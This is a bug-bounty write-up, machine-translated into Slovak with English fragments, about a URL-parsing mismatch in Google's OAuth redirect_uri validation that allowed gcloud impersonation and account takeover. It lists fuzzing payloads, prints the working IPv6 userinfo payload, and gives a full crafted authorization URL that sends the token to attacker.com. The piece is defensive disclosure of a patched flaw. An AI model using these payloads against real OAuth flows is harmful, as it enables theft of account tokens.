TL;DR Tvrdenie; dr Tento článok prechádza jedinečnou zraniteľnosťou pri prevzatí účtu OAuth, ktorú som nedávno objavil, ktorá ovplyvňuje niekoľko služieb Google. Zraniteľnosť umožňuje útočníkom predstierať legitímne aplikácie, ako je klient Google Cloud SDK, a preniknúť token prístupu na server ovládaný útočníkom, ktorý umožňuje backdoorový prístup k účtu obete - s takmer nulovou viditeľnosťou pre obeť. redirect_uri Prvé štyri sekcie pokrývajú všeobecné pozadie OAuth, riziká úniku tokenov a zmätok pri analýze URL. Ak ste už oboznámení s týmito pojmami, neváhajte skočiť priamo do Note: Section 5: Google Cloud Account Takeover Case. 1. úvod OAuth 2.0 umožňuje aplikáciám tretích strán získať prístup k používateľským údajom bez toho, aby spracovávali heslá priamo tým, že autorizačný server (napr. Google) vytvorí token, ktorý bude aplikácia tretích strán používať na vyžiadanie používateľských údajov alebo na vykonávanie akcií v ich mene. Ale ak sa Tento parameter nie je overený chirurgickou presnosťou, útočníci sa môžu predstierať ako dôveryhodné aplikácie a podvádzať používateľov do úniku ich tokenov prístupu. redirect_uri V tomto článku budem prechádzať tým, ako mi jemná chyba v analýze URL mi umožnila urobiť presne to - cez viaceré služby Google - s hlbokým ponorením do prípadu Google Cloud. Ako funguje OAuth Zatiaľ čo OAuth je pomerne zložitý protokol, ktorý si zaslúži sériu článkov, aby plne pochopil, tu je zjednodušený prehľad: : The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes). Authorization Request : After approval, the server redirects the user back to a predefined with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token). Redirect with Grant redirect_uri : The client app uses the token to access the user’s protected data from the resource server. Request user data Na vizualizáciu vecí mi zjednodušený diagram nižšie ukazuje prihlásenie do prostredia pomocou môjho účtu Google: V mnohých prípadoch sú autorizačný server a server zdrojov rovnaké. Note: OAuth Token únik Pri pohľade na vyššie uvedený diagram je najtrikovejšou časťou krok 5, v ktorom autorizačný server posiela generovaný token späť do klientskej aplikácie. vedieť, kam poslať token. redirect_uri Ak tento parameter nie je správne overený, útočník môže predstierať klientsku aplikáciu (napr. Medium) a podviesť autorizačný server, aby im poslal token prístupu používateľa – aj keď z pohľadu používateľa všetko vyzerá legitímne. Typicky však, je do určitej miery validovaná – nemôžete len hodiť náhodnú adresu URL na autorizačný server. Avšak metódy validácie sa v rôznych implementáciách líšia v závislosti od obchodných potrieb a chyby v tomto procese môžu byť využiteľné. redirect_uri Niektoré bežné vzory: Prísne zhodovanie: Presné zhodovanie reťazcov s vopred registrovaným URI. Wildcard alebo Path Prefix Matching: Povolenie URI ako https://example.com/* alebo https://*.example.com. Loopback adresy: Bežné v desktopových aplikáciách, kde lokálny server spracováva presmerovanie. Url Parsing zmätok Podľa Štandardná URL má nasledujúcu štruktúru: RFC 3986 Zoznam scheme://username:password@host:port/path?query#fragment Každá zložka zohráva špecifickú úlohu: : in web context it’s usually the protocol (e.g., http) scheme : user credentials username:password : the domain or IP address (e.g., google.com) host : optional port number (e.g., 443) port : the specific resource or endpoint (e.g., /login) path : key-value pairs of parameters query : a client side page reference fragment Označuje sa ako Sú označované ako Note: host:port authority, username:password userinfo Na prvý pohľad to vyzerá jednoducho – ale môžu sa vyskytnúť jemné rozdiely v analýze, najmä pri zaobchádzaní s prípadmi hraníc. Vývojári môžu predpokladať, že adresa URL je analyzovaná konzistentným, štandardizovaným spôsobom vo všetkých knižniciach, avšak rozsiahle výskumy analyzátorov URL preukázali úplný opak. OAuth redirect URI validation SSRF prevention Proxy or CDN routing Nižšie je uvedený príklad, kde sa s jednou adresou URL zaobchádza odlišne v troch rôznych analyzátoroch Zatiaľ čo tento článok sa nebude ponoriť hlboko do URL analýzy útokov zmätku, sú dôkladne preskúmané v papieri Black Hat 2017 Nová éra SSRF – využívanie URL parserov v trendových programovacích jazykoch Prípad prevzatia účtu Google Cloud Ak ste niekedy používali Google Cloud predtým, pravdepodobne ste sa stretli CLI utility — výkonný príkazový riadok nástroj používaný na správu zdrojov Google Cloud. Medzi ďalšie funkcie, umožňuje používateľom overiť pomocou svojich účtov Google prostredníctvom prehliadača-založené OAuth toku. gcloud Tu je, ako to funguje: The user runs gcloud auth login spawns a local http server on a dynamic port (e.g., http://localhost:50000) gcloud opens a browser window directing the user to a Google OAuth authorization URL with set to the local server address gcloud redirect_uri The user authenticates and consents to the requested scopes Google redirects the user to containing the authorization code redirect_uri exchanges the authorization code for an access token gcloud uses the access token to perform actions on the user’s Google cloud account gcloud Aby tento tok fungoval, spoločnosť Google dôveruje určitým URL adresám (napr. http://localhost) pre natívne aplikácie, pretože sú považované za dostatočne bezpečné pre lokálne použitie a sú vnútorne biele. Identifikácia útočného povrchu Po zistení a Používa sa ako Môj prvý inštinkt bol nahradiť ho a Toto je kľúčový krok, pretože potvrdzuje, že adresy URL sú v skutočnosti analyzované a porovnávané interne, namiesto toho, aby ste mali nejakú základnú kontrolu, ako napríklad: localhost redirect_uri 127.0.0.1 [::1] if re.match(r"^http://localhost:\d{1,5}/$", url) is None: return False Takže tu máme dve dôležité veci, ktoré sa dejú: The provided gets parsed and validated internally by Google’s backend. redirect_uri After a successful login and user consent, users get redirected to in the browser. redirect_uri To znamená, že máme dva URL analyzátory na mieste, ten, ktorý používa backend spoločnosti Google, a analyzátor používaný naším prehliadačom (Chrome v mojom prípade), takže pokiaľ tieto dva analyzátory nie sú totožné, akákoľvek nezrovnalosť medzi nimi môže byť využitá na únik OAuth grant na server ovládaný útočníkom. Cieľ je teraz jasný, musíme vytvoriť URL adresu, ktorá sa analyzuje odlišne medzi dvoma analyzátormi, takým spôsobom, že klameme backendový analyzátor spoločnosti Google, aby analyzoval ako adresu loopback, zatiaľ čo analyzátor Chrome analyzuje ako globálnu internetovú adresu. Skutočnosť, že máme veľmi obmedzené vedomosti o backend spoločnosti Google a o tom, akú knižnicu interne používajú na analýzu URL, znamená, že nám zostáva len prístup čiernej skrinky. B. Fuzzing pre víťazstvo To, čo som urobil ďalej, bolo napísať skript Python, ktorý by mutoval rôzne adresy URL použitím rôznych kódovacích trikov, alternatívnych poznámok a prípadov okrajov, aby sa zistilo, ktoré z nich prešli overením backend spoločnosti Google, ale boli interpretované inak Chrome, skript používal niekoľko trikov, ako sú: Alternatívne IP zastúpenia: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1] Súkromné IP adresy: 10.0.0.5, 192.168.5.3, 127.10.0.1 Rôzne schémy: file://, ldap://, ftp://, javascript://, data:// CRLF injekcia: %0D%0A Hostname/IP ako užívateľské informácie: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com Veľmi dlhé URL adresy: http://AAAAAA...@127.0.0.1 DNS prípony: 127.0.0.1.attacker.com Zneužité URL adresy: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1 Injekcie dotazu/fragmentu: Injekcia extra ? , & alebo # pred/po @ DNS rebinding (testované manuálne) Po spustení scenára na chvíľu, a k môjmu prekvapeniu, jeden z generovaných prípadov okrajov sa podarilo spustiť presnú nezhodu, ktorú som hľadal, moja reakcia bola: Úspešný edge prípad bol: http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/ ktoré možno ďalej zjednodušiť na: http://[::1]@[::1]@attacker.com/ Keď sa pokúsime analyzovať túto adresu URL pomocou prehliadača Chrome, dostaneme nasledujúci výsledok: Zaujímavá časť o je, že je to malformovaný URL začať. charakter je vyhradený na oddelenie Z toho Chrome zmierňuje tento okrajový prípad kódovaním všetkých neobmedzených znakov, ako aj predchádzajúcich výskytov obmedzených znakov a použitím iba najnovšieho ako rozdeľovač.Tým sa zabezpečí, že akýkoľvek pred posledným je URL-kódovaný. http://[::1]@[::1]@attacker.com/ @ userinfo hostname @ @ Naopak, na základe experimentálnych testov s variáciami užitočného zaťaženia sa zdá, že Google backend parser správne nekódoval predchádzajúce výskyty vyhradených znakov a namiesto toho použil prvý výskyt ako delimiter. po rozdelení na Parser pravdepodobne vytiahol a z pevných pozícií, úplne ignorujúc sledovanie . @ @ userinfo hostname attacker.com Stojí za zmienku, že toto správanie bolo spustené výlučne pri používaní IPv6. Fungovalo to tak, ako sa očakávalo, zdôrazňujúc, že nesúlad bol špecifický pre IPv6 analytickú logiku. http://127.0.0.1@127.0.0.1@attacker.com c. dať všetko dohromady Teraz sa náš vektor útoku stáva jasným, môžeme predstierať cli utility a podvádzať používateľa, aby autentifikoval myšlienku, na ktorú sa autentifikuje . gcloud gcloud Útok sa odohráva takto: Vytvorte škodlivú žiadosť o autorizáciu OAuth a odošlite jej odkaz (kódový blok nižšie) obeti Obeti je prezentovaný úplne legitímny OAuth overovací tok pre klienta Google Cloud SDK (obrázok 9). Obete sa prihlasujú a súhlasia s uvedenými povoleniami (účely) Obete sa presmeruje na náš škodlivý hostiteľ, s ich generované OAuth grant Používame grant OAuth na vykonávanie hovorov API na účet obete v ich mene https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256 Nižšie je zobrazená vizualizácia navrhovaného útoku Z pohľadu používateľa by to vyzeralo, akoby sa autentifikovali do , aj pre autorizačný server Google, bude to vyzerať, akoby sa používateľ pokúšal overiť Takže efektívne podvádzame obe strany autentizácie, aby si mysleli, že ide o legitímny proces autentizácie, zatiaľ čo konečný token prístupu sa prenáša do nášho škodlivého hostiteľa. gcloud gcloud Únik prístupového tokenu nám účinne poskytne neobmedzený prístup k účtu obetí, čo nám umožní vykonávať aj vysoko privilegované akcie. Čo robí tento útok ešte nebezpečnejším je: : official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), Stealth Third-party apps & services they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user. : official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal application might request (we can only request scopes that are available but not actively requested) Trust gcloud Ako už bolo uvedené na začiatku tohto článku, je len jedna zraniteľná aplikácia, nižšie sú niektoré ďalšie aplikácie, ktoré som zistil, že sú zraniteľné tiež: gcloud Google Drive Desktop Client Firebase Desktop Client Windows Mail (3rd-party app) Google reagoval rýchlo, uznal závažnosť v priebehu 72 hodín a udelil odmenu s vysokou závažnosťou. 6. záver Tento výskum poukazuje na to, ako jemné rozdiely v analýze adresy URL môžu úplne podkopávať bezpečnosť celého toku overovania, ktorý sa opätovne používa v rôznych aplikáciách a službách, a to aj vtedy, keď ho implementuje spoločnosť, ktorá je taká zrelá a vedomá bezpečnosti ako Google. Napriek tomu, že OAuth je vyspelý a dobre študovaný protokol, jeho bezpečnosť závisí vo veľkej miere od drobných detailov implementácie, ktoré sa líšia medzi platformami, knižnicami a prostredím.Je to pripomienka, že v oblasti bezpečnosti, presnosť záleží: aj malé nezrovnalosti medzi komponentmi môžu stačiť na porušenie kritických predpokladov dôvery. Spoločnosť Google túto zraniteľnosť odstránila po zodpovednom zverejnení. Ďakujem za čítanie!
